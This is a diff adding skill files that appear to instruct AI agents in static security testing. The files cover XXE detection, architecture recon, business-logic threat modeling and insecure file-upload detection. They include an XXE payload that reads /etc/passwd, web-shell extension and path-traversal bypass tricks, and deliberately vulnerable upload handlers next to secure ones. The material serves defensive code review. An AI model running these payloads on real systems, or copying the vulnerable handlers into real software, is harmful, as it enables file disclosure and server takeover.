> -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>'
> Look for /etc/passwd content in the response body.]
> ```
>
> ### [LIKELY VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Issue**: [e.g., "XML source likely comes from user-uploaded file via helper function" or "Parser unhardened but input path partially unclear"]
> - **Taint trace**: [Best-effort trace with the uncertain step identified]
> - **Concern**: [Why it's still a risk despite uncertainty]
> - **Remediation**: [Apply appropriate parser hardening]
> - **Dynamic Test**:
> ```
> [payload to attempt]
> ```
>
> ### [NOT VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Reason**: [e.g., "XML is read from a bundled config file at startup with no user influence" or "defusedxml is used as the parser"]
>
> ### [NEEDS MANUAL REVIEW] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Uncertainty**: [Why the input source or parser configuration could not be determined]
> - **Suggestion**: [What to trace manually — e.g., "Follow `load_document()` in xml_utils.py to confirm whether its argument comes from a user request"]
> ```
---
## Important Reminders
- Read `sast/architecture.md` and pass its content to both subagents as context.
- Phase 2 must run AFTER Phase 1 completes — it depends on the recon output.
- **Phase 1 is purely structural**: flag any XML parsing call that lacks explicit external entity hardening, regardless of where the input comes from. Do not attempt to trace user input in Phase 1 — that is Phase 2's job.
- **Phase 2 is purely taint analysis**: for each site found in Phase 1, trace the XML input back to its origin. If it comes from a user-controlled source, the site is a real vulnerability.
- **Parser defaults matter**: Java DOM/SAX, PHP SimpleXML/DOMDocument, and lxml all resolve external entities by default — they require explicit hardening. Python's `defusedxml` and Go's `encoding/xml` are safe by default.
- **Do not confuse `LIBXML_NOENT` with protection**: in PHP, `LIBXML_NOENT` **expands** entities into their values — it does NOT disable entity loading. Only `libxml_disable_entity_loader(true)` or `LIBXML_NONET` provides network-entity protection.
- **XInclude is a separate vector**: if `XIncludeAware` processing is enabled on Java parsers or `xi:include` is processed elsewhere, flag it separately — it can read local files without a classic `ENTITY` declaration.
- When in doubt, classify as "Needs Manual Review" rather than "Not Vulnerable". False negatives are worse than false positives in security assessment.
- Taint can flow indirectly: a file upload may be saved to disk in one handler, then parsed in another background job. Trace the full chain including asynchronous processing paths.
- Blind XXE (no output in response) is still exploitable via DNS or HTTP callbacks to attacker-controlled servers. Do not dismiss a finding just because the parsed XML is not echoed back.
@@ -0,0 +1,91 @@
---
name: sast-analysis
description: >-
Perform codebase analysis and architecture mapping as the first phase of a
security assessment. Explores the tech stack, frameworks, entry points, data
flows, and trust boundaries. Outputs sast/architecture.md. Run this before any
vulnerability detection skill. Use when asked to analyze a codebase for
security or when sast/architecture.md does not yet exist.
---
# Codebase Analysis
You are performing the first phase of a security assessment. Your goal is to deeply understand the codebase. You are NOT looking for specific vulnerabilities yet. This is pure reconnaissance.
Create a `sast/` folder in the project root (if it doesn't already exist). This phase produces one output file inside it:
`sast/architecture.md` — technology stack, architecture, entry points, data flows
## Phase 1: Technology Reconnaissance
Explore the codebase and identify:
- **Languages**: All programming languages used and their versions if specified
- **Frameworks**: Web frameworks, ORM layers, template engines, task queues
- **Package managers & dependencies**: Lock files, dependency manifests (package.json, requirements.txt, go.mod, Gemfile, pom.xml, etc.)
- **Infrastructure hints**: Dockerfiles, docker-compose, Kubernetes manifests, Terraform, CI/CD configs
- **Databases**: SQL, NoSQL, cache layers, message brokers — look at connection strings, ORM models, migration files
- **Authentication & authorization**: Auth libraries, middleware, session configs, OAuth/OIDC providers, JWT usage, API key patterns
- **External integrations**: Third-party APIs, payment processors, email services, cloud SDKs, webhook handlers
- **Entry points**: HTTP routes, GraphQL schemas, gRPC service definitions, CLI commands, WebSocket handlers, scheduled jobs, message consumers
Start by reading dependency manifests, project configs, and directory structure. Then drill into source code to confirm findings.
## Phase 2: Architecture Mapping
Based on Phase 1, build a mental model of:
1. **Service boundaries**: Is this a monolith or microservices? What talks to what?
2. **Data flow**: How does user input enter the system, get processed, get stored, and get returned?
3. **Trust boundaries**: Where does the system transition between trusted and untrusted contexts? (e.g., user input -> backend, backend -> database, service -> service, server -> client)
4. **Privilege levels**: What roles/permissions exist? How are they enforced? Is there an admin panel?
5. **Sensitive data inventory**: PII, credentials, tokens, financial data, health records — where is each stored and how does it move?
**Write the results of Phase 1 and Phase 2 to `sast/architecture.md`.** Use this format:
```markdown
# Architecture: [Project Name]
## Technology Stack
| Category | Details |
|---|---|
| Languages | ... |
| Frameworks | ... |
| Databases | ... |
| Auth mechanism | ... |
| Infrastructure | ... |
| External services | ... |
## Architecture Overview
[Describe the architecture: monolith vs microservices, how components interact,
main modules and their responsibilities]
## Data Flow
[Trace how user input enters the system, gets processed, stored, and returned.
Cover the primary flows (e.g., registration, login, core business actions).]
## Entry Points
| Entry Point | Type | Auth Required | Description |
|---|---|---|---|
| ... | HTTP/GraphQL/WS/etc. | Yes/No | ... |
## Trust Boundaries
[List each trust boundary and what crosses it]
## Sensitive Data Inventory
| Data Type | Where Stored | How Accessed | Protection |
|---|---|---|---|
| ... | ... | ... | ... |
```
## Important Reminders
- Do NOT report specific vulnerabilities (like "line 42 has SQL injection"). That comes in later phases.
- Be thorough in exploration. Read actual source code, not just config files. Look at how auth middleware is applied, how queries are built, how file uploads are handled.
- If the codebase is large, prioritize security-sensitive areas: auth, payment, data access, file handling, admin functionality.
@@ -0,0 +1,326 @@
---
name: sast-businesslogic
description: >-
Detect business logic vulnerabilities in a codebase using a two-phase
approach: first perform threat modeling by analyzing the application's
domain and generating specific attack scenarios (price manipulation,
workflow bypass, limit violations, race conditions, reward abuse, etc.),
then verify whether those threats are exploitable by checking for missing
validations and enforcement. Requires sast/architecture.md (run
sast-analysis first). Outputs findings to sast/businesslogic-results.md.
Use when asked to find business logic, logic flaws, or abuse-of-function bugs.
---
# Business Logic Vulnerability Detection
You are performing a focused security assessment to find business logic vulnerabilities in a codebase. This skill uses a two-phase approach with subagents: **threat modeling** (understand the domain and generate attack scenarios) then **verify** (check whether those attack scenarios are exploitable).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What are Business Logic Vulnerabilities
Business logic vulnerabilities arise when an application's intended workflow, rules, or constraints can be manipulated to produce unintended outcomes — without exploiting technical flaws like injection or memory corruption. The attacker operates within the application's own features but uses them in ways the developers did not anticipate.
The core pattern: *the application accepts input that is syntactically valid and passes authentication/authorization, but violates a business rule that was never enforced in code.*
### What Business Logic Vulnerabilities ARE
- Submitting a negative quantity to a purchase endpoint, receiving a credit instead of a charge
- Applying the same one-time discount coupon multiple times in parallel requests
- Skipping the payment step in a multi-step checkout by replaying a later step's request
- Posting a rating of 9999 to a movie rating endpoint that should cap ratings at 5
- Transferring a negative amount to move money from the recipient to the sender
- Redeeming a referral bonus by referring yourself with a second account
- Re-using a single-use reset token or voucher that was never invalidated
- Purchasing an item that is out of stock due to a race condition between inventory check and reservation
- Accessing a premium subscription feature after downgrading to a free plan
- Winning an auction by retracting a high bid after others have been eliminated
### What Business Logic Vulnerabilities are NOT
Do not flag these as business logic issues:
- **SQL injection, XSS, RCE, XXE, SSRF, SSTI**: These are injection/technical flaws — separate skills cover them
- **Missing authentication**: Endpoint requires no login at all → that's "Unauthenticated Access"
- **IDOR**: Accessing another user's resource by changing an ID → that's a separate access-control class
- **Brute-force / rate limiting**: Generic rate-limit bypass on login → that's not a business logic flaw unless it enables specific business rule circumvention
---
## Business Logic Attack Categories
Use these categories to guide threat modeling. Not all categories apply to every application — identify which ones are relevant based on the architecture summary.
### 1. Price & Payment Manipulation
- Negative prices or zero prices on purchase endpoints
- Arbitrary price override in request body (mass assignment of price field)
- Currency or unit confusion (e.g., cents vs. dollars)
- Floating-point precision abuse in monetary arithmetic
- Applying discounts that reduce total below zero
### 2. Quantity & Numeric Limit Violations
- Negative quantities (ordering −5 items to receive a credit)
- Quantities exceeding per-user or per-order limits
- Integer overflow/underflow in quantity or balance calculations
- Out-of-range values for bounded fields (ratings, scores, percentages)
### 3. Workflow & Multi-Step Process Bypass
- Skipping mandatory steps in a sequential process (payment, email verification, ID check)
- Replaying a completion token from a previous successful flow to bypass steps
- Direct-access to a later-stage endpoint without completing earlier stages
- Submitting a terminal state transition without going through intermediate states (state machine violations)
### 4. Coupon, Discount & Voucher Abuse
- Applying the same coupon multiple times (single-use not enforced)
- Stacking discounts that were not intended to be combined
- Using an expired coupon or voucher
- Generating or guessing valid coupon codes
### 5. Race Conditions & Concurrency Abuse
- Double-spending: sending two concurrent purchase requests to consume a balance once
- Concurrent coupon redemption draining credit beyond allowed amount
- TOCTOU (time-of-check / time-of-use) on inventory: check passes for both requests, both reservations succeed
- Parallel withdrawal/transfer requests exceeding account balance
### 6. Refund & Chargeback Abuse
- Requesting a refund after the digital good has been consumed or downloaded
- Partial refund on an already-partially-refunded order
- Refund without returning physical item (if logic is not enforced server-side)
### 7. Reward, Referral & Loyalty Abuse
- Self-referral using a second account to earn a referral bonus
- Earning signup bonuses multiple times across multiple accounts
- Loyalty point farming through artificial activity
- Sharing or transferring non-transferable rewards
### 8. Subscription & Entitlement Bypass
- Accessing paid/premium features after downgrading or cancelling
- Trial period abuse (repeatedly creating new accounts for trial access)
- Feature flag or plan check performed only at subscription creation, not at feature access time
- Entitlement cached at session start and not re-evaluated after plan change
### 9. Auction & Bidding Logic
- Retracting a winning bid after competing bids have been rejected
- Shill bidding: artificially inflating price with controlled accounts
- Bypass of reserve price enforcement
- Bid manipulation via concurrent requests
### 10. Inventory & Stock Logic
- Purchasing out-of-stock items due to missing stock validation
- Reserving more stock than available via concurrent requests
- Negative inventory resulting from refund-without-restock logic
- Phantom inventory: item appears available but cannot be fulfilled
### 11. Time & Date Logic
- Using time-limited offers after expiration (expiry checked client-side or weakly server-side)
- Backdating transactions or bookings
- Exploiting "grace period" logic to extend benefits indefinitely
- System clock manipulation if server trusts client-supplied timestamps
### 12. Transfer & Balance Logic
- Transferring a negative amount (sender receives money from recipient)
- Self-transfer to exploit bonus or fee logic
- Transferring more than the available balance due to missing server-side check
- Rounding errors exploited across many micro-transactions
---
## Execution
This skill runs in two phases using subagents. Pass the contents of `sast/architecture.md` to both subagents as context.
### Phase 1: Threat Modeling — Domain Analysis & Attack Scenario Generation
Launch a subagent with the following instructions:
> **Goal**: Analyze the codebase to understand its business domain and generate a concrete, prioritized list of business logic attack scenarios specific to this application. Write results to `sast/businesslogic-threats.md`.
>
> **Context**: You will be given the project's architecture summary. Use it to understand what the application does, what features it has, and what business rules it is supposed to enforce. Focus entirely on understanding the domain — do not verify vulnerabilities yet.
>
> **Step 1 — Identify the business domain and features**:
>
> Read `sast/architecture.md` and then explore the codebase to answer:
> - What does this application do? (e-commerce, marketplace, SaaS, social platform, fintech, gaming, booking, etc.)
> - What financial or transactional features exist? (payments, subscriptions, credits, tokens, wallets, invoices, refunds)
> - What quantitative limits or rules exist? (ratings, scores, quantities, usage limits, quotas)
> - What multi-step workflows exist? (checkout, onboarding, KYC, booking, auctions)
> - What promotional or reward features exist? (coupons, referrals, loyalty points, bonuses, vouchers)
> - What role or tier distinctions exist? (free vs. paid, user vs. premium, trial vs. full)
> - What inventory or capacity constraints exist? (stock, seats, slots, bandwidth)
>
> To discover features, search for:
> - Route/endpoint definitions and their names
> - Model/entity names (Order, Payment, Subscription, Coupon, Wallet, Bid, etc.)
> - Business-rule-related field names (price, quantity, balance, rating, score, limit, quota, expiry, status)
> - Validation logic or constraint-related code
>
> **Step 2 — Generate attack scenarios**:
>
> For each relevant business domain area found, generate specific attack scenarios. Each scenario must be:
> - **Specific to this codebase** — name the actual endpoint, model, or feature involved
> - **Actionable** — describe exactly what an attacker would send/do
> - **Grounded** — reference the code or data model that makes this scenario plausible
>
> Use the attack categories below as a checklist. Only include categories that are relevant to this application:
>
> - **Price/payment manipulation**: Can a user send an arbitrary price in the request? Is price trusted from client?
> - **Quantity/value out of range**: Can a user send negative quantities, zero, or values exceeding defined limits?
> - **Workflow bypass**: Can a user skip a mandatory step in a multi-step process?
> - **Coupon/discount abuse**: Can a coupon be used multiple times or after expiration?
> - **Race conditions**: Are there check-then-act patterns on shared resources (inventory, balance, coupon usage)?
> - **Refund abuse**: Can a refund be requested after the product is consumed?
> - **Reward/referral abuse**: Can referral or signup bonuses be farmed?
> - **Entitlement bypass**: Are premium features checked at access time or only at subscription time?
> - **Transfer/balance logic**: Can negative transfers or self-transfers be made?
> - **Time/date logic**: Are time-limited offers enforced server-side?
> - **Inventory logic**: Is stock validated atomically before reservation?
>
> **Output format** — write to `sast/businesslogic-threats.md`:
>
> ```markdown
> # Business Logic Threat Model: [Project Name]
>
> ## Application Domain
> [2–3 sentence summary of what the application does and its key business features]
>
> ## Business Features Identified
> - [Feature 1]: [brief description, relevant models/endpoints]
> - [Feature 2]: ...
>
> ## Attack Scenarios
>
> ### Scenario 1: [Short title, e.g. "Negative quantity purchase for credit"]
> - **Category**: [e.g. Quantity & Numeric Limit Violations]
> - **Target**: [Endpoint or feature, e.g. `POST /api/orders`]
> - **Description**: [What an attacker would do and what outcome they expect]
> - **Relevant code**: [File and line range where the relevant logic lives]
> - **Business rule that should be enforced**: [What the application is supposed to do]
> - **Risk level**: [High / Medium / Low]
>
> ### Scenario 2: ...
>
> ## Categories Not Applicable
> [List any categories from the checklist that are not relevant to this application and why]
> ```
### Phase 2: Verify — Check Whether Scenarios Are Exploitable
Launch a second subagent **after Phase 1 completes** with the following instructions:
> **Goal**: For each attack scenario in `sast/businesslogic-threats.md`, determine whether the business rule is properly enforced in code or whether the attack is exploitable. Write final results to `sast/businesslogic-results.md`.
>
> **Context**: You will be given the project's architecture summary and the threat model. Use the architecture summary to understand validation patterns, ORM usage, and where business rules are typically enforced.
>
> **For each scenario, perform the following checks**:
>
> **1. Is the business rule enforced server-side?**
> - Is the constraint validated in the backend handler, service layer, or ORM/database?
> - Or is it only validated client-side (frontend form validation, JavaScript min/max attributes)?
> - Client-side-only validation = exploitable.
>
> **2. Is the validation complete and covers all edge cases?**
> - Does it check for negative values where applicable?
> - Does it check upper bounds, not just lower bounds?
> - Does it handle concurrent requests (is the check atomic, or is there a TOCTOU window)?
> - Does it re-validate at the point of use, not just at an earlier step?
>
> **3. For workflow bypass scenarios**:
> - Does each step verify that previous required steps were completed?
> - Are step completion flags stored server-side (not just in a cookie or session that can be replayed)?
> - Can a terminal endpoint be called directly without going through earlier steps?
>
> **4. For coupon/voucher scenarios**:
> - Is the coupon marked as used atomically with the transaction (in the same DB transaction)?
> - Is concurrent redemption protected (SELECT FOR UPDATE, optimistic locking, atomic compare-and-swap)?
> - Is the expiry date checked server-side at redemption time?
>
> **5. For race condition scenarios**:
> - Is stock/balance check and decrement done atomically (in a single DB transaction or with row-level locking)?
> - Is there any idempotency key or deduplication logic to prevent duplicate concurrent requests?
>
> **6. For entitlement/subscription scenarios**:
> - Is the user's current plan/tier checked at the point of feature access?
> - Or is it cached at login/session start and never re-evaluated?
>
> **7. For transfer/balance scenarios**:
> - Is there a server-side check that the transfer amount is positive?
> - Is there a server-side check that the sender has sufficient balance?
> - Are these checks done within a database transaction to prevent race conditions?
>
> **Classification**:
> - **Exploitable**: The business rule is absent, bypassable, or only enforced client-side.
> - **Likely Exploitable**: The rule exists but has gaps (race condition window, missing edge case, bypassable condition).
> - **Not Exploitable**: Proper server-side enforcement exists and covers edge cases.
> - **Needs Manual Review**: Cannot determine with confidence (complex logic, external service dependency, etc.).
>
> **Output format** — write to `sast/businesslogic-results.md`:
>
> ```markdown
> # Business Logic Analysis Results: [Project Name]
>
> ## Executive Summary
> - Scenarios analyzed: [N]
> - Exploitable: [N]
> - Likely Exploitable: [N]
> - Not Exploitable: [N]
> - Needs Manual Review: [N]
>
> ## Findings
>
> ### [EXPLOITABLE] Scenario title
> - **Category**: [Attack category]
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint**: `METHOD /path`
> - **Business Rule Violated**: [What rule the application should enforce]
> - **Issue**: [Clear description of what validation is missing or broken]
> - **Impact**: [What an attacker can achieve — free goods, financial loss, unfair advantage, etc.]
> - **Proof**: [Show the code path demonstrating the missing enforcement]
> - **Remediation**: [Specific fix for this scenario]
> - **Dynamic Test**:
> ```
> [Step-by-step instructions or curl commands to confirm the finding on the live app.
> Include exact HTTP method, endpoint, headers, and request body.
> Describe what response or side effect confirms the vulnerability.]
> ```
>
> ### [LIKELY EXPLOITABLE] Scenario title
> - **Category**: [Attack category]
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint**: `METHOD /path`
> - **Business Rule Violated**: [What rule should be enforced]
> - **Issue**: [What enforcement gap or race condition exists]
> - **Concern**: [Why this is likely exploitable despite partial enforcement]
> - **Proof**: [Show the code path with the weak/partial check]
> - **Remediation**: [Specific fix]
> - **Dynamic Test**:
> ```
> [Step-by-step instructions or curl commands, e.g. two concurrent requests, to confirm.]
> ```
>
> ### [NOT EXPLOITABLE] Scenario title
> - **Category**: [Attack category]
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Business Rule**: [What the application is supposed to enforce]
> - **Protection**: [How it is enforced — server-side validation, DB constraint, atomic transaction, etc.]
>
> ### [NEEDS MANUAL REVIEW] Scenario title
> - **Category**: [Attack category]
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Uncertainty**: [Why automated analysis couldn't determine the status]
> - **Suggestion**: [What to examine manually or test dynamically]
> ```
---
## Important Reminders
- Read `sast/architecture.md` and pass its content to both subagents as context.
- Phase 2 must run **after** Phase 1 completes — it depends on the threat model output.
- Focus strictly on **business logic flaws** — do not flag injection bugs, auth bypass, or IDOR issues here.
- Threat modeling in Phase 1 should be **application-specific**: generic scenarios not grounded in the actual codebase are not useful.
- Server-side validation is the only valid protection. Client-side validation, frontend form constraints, and API documentation that says "must be positive" are not security controls.
- Race conditions on financial operations are high-severity even if they appear to require exact timing — automated tools (Turbo Intruder, concurrent curl) make them trivial to exploit.
- When in doubt, classify as "Needs Manual Review" rather than "Not Exploitable". False negatives in a security assessment are worse than false positives.
- Pay attention to ORM and database-level constraints (CHECK constraints, unique indexes, transactions with locking) — these can provide enforcement that is not visible in application code alone.
@@ -0,0 +1,557 @@
---
name: sast-fileupload
description: >-
Detect insecure file upload vulnerabilities in a codebase using a two-phase
approach: first find all file upload handling sites (endpoints, storage calls,
multipart form processing), then check whether an attacker can upload malicious
files by manipulating file extensions. Requires sast/architecture.md (run
sast-analysis first). Outputs findings to sast/fileupload-results.md. Use when
asked to find file upload, unrestricted upload, or extension bypass bugs.
---
# Insecure File Upload Detection
You are performing a focused security assessment to find insecure file upload vulnerabilities in a codebase. This skill uses a two-phase approach with subagents: **discovery** (find all places where uploaded files are received and stored) then **bypass** (determine whether an attacker can upload a malicious file by manipulating its extension or bypassing validation logic).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is an Insecure File Upload
Insecure file upload occurs when an application accepts files from users without properly validating or restricting what can be uploaded, allowing an attacker to upload executable or malicious files. The most critical outcome is **Remote Code Execution (RCE)**: an attacker uploads a web shell (e.g., a `.php` file) and the server executes it when accessed via a direct URL.
The core pattern: *a user-supplied file reaches a storage location without adequate extension validation, and the stored file is accessible or executable.*
### What Insecure File Upload IS
- Accepting any file type with no extension or content check: `file.save(upload_path)` with no validation
- Content-Type-only validation: checking `Content-Type: image/png` without verifying the actual extension or file content — trivially bypassed by setting the header manually
- Extension blocklist with gaps: `.php` is blocked but `.php3`, `.php4`, `.php5`, `.phtml`, `.phar`, `.shtml` are not
- Case-insensitive bypass: blocking `.php` but allowing `.PHP`, `.Php`, `.pHp`
- Double extension bypass: `shell.php.jpg` — code extracts the last `.jpg` and considers it safe, but the server (Apache) serves it as PHP
- Path traversal in filenames: `../../webroot/shell.php` stored via an unsanitized filename
- Incomplete filename sanitization: only stripping `../` but not encoded variants `%2e%2e%2f`
- Serving uploaded files from a web-executable directory without disabling execution
### What Insecure File Upload is NOT
Do not flag these as file upload vulnerabilities:
- **Stored XSS via SVG**: uploading an SVG with embedded `<script>` that is reflected back — that's XSS, not an upload execution issue
- **SSRF via file content**: uploading an XML or SVG that triggers an outbound request — that's XXE/SSRF, not a file upload execution issue
- **DoS via large files**: missing file size limits — a separate availability issue
- **IDOR on download**: accessing another user's uploaded file without authorization — that's IDOR
- **Secure uploads**: files stored outside the web root, or served through a controlled download endpoint that sets `Content-Disposition: attachment`, or stored in an object storage bucket with no public execution capability
### Patterns That Prevent Insecure File Upload
When you see these patterns together, the code is likely **not vulnerable**:
**1. Allowlist of safe extensions (most important)**
```python
ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif', 'pdf'}
ext = filename.rsplit('.', 1)[-1].lower()
if ext not in ALLOWED_EXTENSIONS:
abort(400)
```
**2. Magic byte / file content validation (defense in depth)**
```python
import magic
mime = magic.from_buffer(file.read(2048), mime=True)
ALLOWED_MIMES = {'image/png', 'image/jpeg', 'image/gif'}
if mime not in ALLOWED_MIMES:
abort(400)
```
**3. Filename sanitization using a trusted library**
```python
from werkzeug.utils import secure_filename
filename = secure_filename(file.filename) # strips path separators and dangerous chars
```
**4. Storing uploads outside the web root**
```
/var/uploads/ ← not served by the web server
/var/www/html/ ← web root (do NOT store uploads here)
```
**5. Serving uploads through a controlled endpoint with Content-Disposition**
```python
@app.route('/download/<filename>')
def download(filename):
return send_from_directory(UPLOAD_FOLDER, filename,
as_attachment=True) # forces download, prevents execution
```
**6. Renaming the file to a server-generated UUID**
```python
import uuid
stored_name = str(uuid.uuid4()) + '.jpg' # extension is server-controlled, not user-controlled
```
---
## Vulnerable vs. Secure Examples
### Python — Flask
```python
# VULNERABLE: no extension check, file stored in web-accessible directory
@app.route('/upload', methods=['POST'])
def upload():
f = request.files['file']
f.save(os.path.join('static/uploads', f.filename))
return 'uploaded'
# VULNERABLE: content-type only check (trivially bypassed with curl -H)
@app.route('/upload', methods=['POST'])
def upload():
f = request.files['file']
if f.content_type not in ['image/png', 'image/jpeg']:
abort(400)
f.save(os.path.join('static/uploads', f.filename))
return 'uploaded'
# VULNERABLE: blocklist — .phtml/.phar/.php5 not covered
BLOCKED = {'.php', '.sh', '.exe'}
@app.route('/upload', methods=['POST'])
def upload():
f = request.files['file']
ext = os.path.splitext(f.filename)[1].lower()
if ext in BLOCKED:
abort(400)
f.save(os.path.join('static/uploads', f.filename))
return 'uploaded'
# SECURE: allowlist + sanitized filename + outside web root
ALLOWED = {'png', 'jpg', 'jpeg', 'gif'}
UPLOAD_FOLDER = '/var/uploads' # outside web root
@app.route('/upload', methods=['POST'])
def upload():
f = request.files['file']
filename = secure_filename(f.filename)
ext = filename.rsplit('.', 1)[-1].lower()
if ext not in ALLOWED:
abort(400)
f.save(os.path.join(UPLOAD_FOLDER, filename))
return 'uploaded'
```
### Python — Django
```python
# VULNERABLE: no validation on FileField
class DocumentForm(forms.ModelForm):
class Meta:
model = Document
fields = ['upload']
# VULNERABLE: manual save with no extension check
def upload(request):
f = request.FILES['file']
with open(f'media/uploads/{f.name}', 'wb+') as dest:
for chunk in f.chunks():
dest.write(chunk)
# SECURE: custom validator on FileField
def validate_file_extension(value):
ext = os.path.splitext(value.name)[1].lower()
if ext not in ['.png', '.jpg', '.jpeg', '.gif']:
raise ValidationError('Unsupported file extension.')
class DocumentForm(forms.ModelForm):
upload = forms.FileField(validators=[validate_file_extension])
```
### Node.js — Multer (Express)
```javascript
// VULNERABLE: no file filter, stored in public directory
const upload = multer({ dest: 'public/uploads/' });
app.post('/upload', upload.single('file'), (req, res) => {
res.send('uploaded');
});
// VULNERABLE: MIME type filter only (can be faked)
const upload = multer({
dest: 'uploads/',
fileFilter: (req, file, cb) => {
if (!file.mimetype.startsWith('image/')) return cb(null, false);
cb(null, true);
}
});
// SECURE: allowlist of extensions + storage outside web root
const ALLOWED_EXT = ['.jpg', '.jpeg', '.png', '.gif'];
const storage = multer.diskStorage({
destination: '/var/uploads', // not served by Express
filename: (req, file, cb) => {
const ext = path.extname(file.originalname).toLowerCase();
cb(null, `${uuidv4()}${ext}`);
}
});
const upload = multer({
storage,
fileFilter: (req, file, cb) => {
const ext = path.extname(file.originalname).toLowerCase();
cb(null, ALLOWED_EXT.includes(ext));
}
});
```
### PHP
```php
// VULNERABLE: no extension check, stored in web root
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $_FILES['file']['name']);
// VULNERABLE: checking only content type header
if ($_FILES['file']['type'] !== 'image/jpeg') {
die('Invalid file type');
}
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $_FILES['file']['name']);
// VULNERABLE: blocklist missing phtml/phar
$ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
$blocked = ['php', 'sh', 'py'];
if (in_array($ext, $blocked)) die('Blocked');
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $_FILES['file']['name']);
// SECURE: allowlist + rename to UUID + outside web root
$allowed = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowed)) die('Invalid extension');
$stored = '/var/uploads/' . bin2hex(random_bytes(16)) . '.' . $ext;
move_uploaded_file($_FILES['file']['tmp_name'], $stored);
```
### Java — Spring Boot (MultipartFile)
```java
// VULNERABLE: no validation, stored in web-accessible path
@PostMapping("/upload")
public String upload(@RequestParam("file") MultipartFile file) throws IOException {
Path path = Paths.get("src/main/resources/static/uploads/" + file.getOriginalFilename());
Files.write(path, file.getBytes());
return "uploaded";
}
// VULNERABLE: content type header only
@PostMapping("/upload")
public String upload(@RequestParam("file") MultipartFile file) throws IOException {
if (!file.getContentType().startsWith("image/")) throw new BadRequestException();
Files.write(Paths.get("uploads/" + file.getOriginalFilename()), file.getBytes());
return "uploaded";
}
// SECURE: allowlist + UUID rename + path outside web root
private static final Set<String> ALLOWED = Set.of("jpg", "jpeg", "png", "gif");
@PostMapping("/upload")
public String upload(@RequestParam("file") MultipartFile file) throws IOException {
String original = StringUtils.cleanPath(file.getOriginalFilename());
String ext = FilenameUtils.getExtension(original).toLowerCase();
if (!ALLOWED.contains(ext)) throw new BadRequestException("Invalid extension");
String stored = UUID.randomUUID() + "." + ext;
Files.write(Paths.get("/var/uploads/" + stored), file.getBytes());
return "uploaded";
}
```
### Go
```go
// VULNERABLE: no extension check, stored in static directory
func uploadHandler(w http.ResponseWriter, r *http.Request) {
file, header, _ := r.FormFile("file")
defer file.Close()
dst, _ := os.Create("static/uploads/" + header.Filename)
defer dst.Close()
io.Copy(dst, file)
}
// SECURE: allowlist extension + UUID rename + outside web root
var allowed = map[string]bool{"jpg": true, "jpeg": true, "png": true, "gif": true}
func uploadHandler(w http.ResponseWriter, r *http.Request) {
file, header, _ := r.FormFile("file")
defer file.Close()
ext := strings.ToLower(filepath.Ext(header.Filename))
if ext == "" || !allowed[ext[1:]] {
http.Error(w, "invalid extension", http.StatusBadRequest)
return
}
stored := "/var/uploads/" + uuid.New().String() + ext
dst, _ := os.Create(stored)
defer dst.Close()
io.Copy(dst, file)
}
```
### Ruby on Rails
```ruby
# VULNERABLE: no content type or extension validation
def upload
file = params[:file]
File.open(Rails.root.join('public', 'uploads', file.original_filename), 'wb') do |f|
f.write(file.read)
end
end
# SECURE: ActiveStorage with content type allowlist (Rails 6+)
has_one_attached :avatar
validates :avatar, content_type: ['image/png', 'image/jpg', 'image/jpeg']
# Note: still validate extension too — content_type is user-supplied in some configurations
# SECURE: CarrierWave with extension and content type allowlist
class AvatarUploader < CarrierWave::Uploader::Base
def extension_allowlist
%w[jpg jpeg png gif]
end
def content_type_allowlist
/image\//
end
end
```
### C# — ASP.NET Core
```csharp
// VULNERABLE: no extension check, stored in wwwroot
[HttpPost]
public async Task<IActionResult> Upload(IFormFile file) {
var path = Path.Combine("wwwroot/uploads", file.FileName);
using var stream = new FileStream(path, FileMode.Create);
await file.CopyToAsync(stream);
return Ok();
}
// SECURE: allowlist + GUID rename + outside web root
private static readonly HashSet<string> _allowed = new() { ".jpg", ".jpeg", ".png", ".gif" };
[HttpPost]
public async Task<IActionResult> Upload(IFormFile file) {
var ext = Path.GetExtension(file.FileName).ToLowerInvariant();
if (!_allowed.Contains(ext)) return BadRequest("Invalid extension");
var stored = Path.Combine("/var/uploads", $"{Guid.NewGuid()}{ext}");
using var stream = new FileStream(stored, FileMode.Create);
await file.CopyToAsync(stream);
return Ok();
}
```
---
## Execution
This skill runs in two phases using subagents. Pass the contents of `sast/architecture.md` to both subagents as context.
### Phase 1: Find All File Upload Sites
Launch a subagent with the following instructions:
> **Goal**: Find every location in the codebase where files uploaded by users are received and stored. Write results to `sast/fileupload-recon.md`.
>
> **Context**: You will be given the project's architecture summary. Use it to understand the framework, file storage patterns, and whether uploads go to local disk, cloud storage, or a CDN.
>
> **What to search for — file upload handling patterns**:
>
> Look for any code that receives a file from an HTTP request and writes or stores it. Do not yet evaluate whether validation is present — just find all the sites.
>
> 1. **Python / Django**:
> - `request.FILES` access
> - `InMemoryUploadedFile`, `TemporaryUploadedFile`
> - `default_storage.save(...)`, `FileSystemStorage().save(...)`
> - Model `FileField` / `ImageField` form submissions
> - `shutil.copyfileobj(f, dest)` or manual `.write(f.read())` on uploaded data
>
> 2. **Python / Flask**:
> - `request.files.get(...)` or `request.files[...]`
> - `file.save(...)` calls on a `FileStorage` object
> - `werkzeug` `FileStorage` handling
>
> 3. **Node.js**:
> - `multer` middleware: `upload.single(...)`, `upload.array(...)`, `upload.fields(...)`
> - `busboy`, `formidable`, `multiparty` form parsing
> - `express-fileupload`: `req.files`
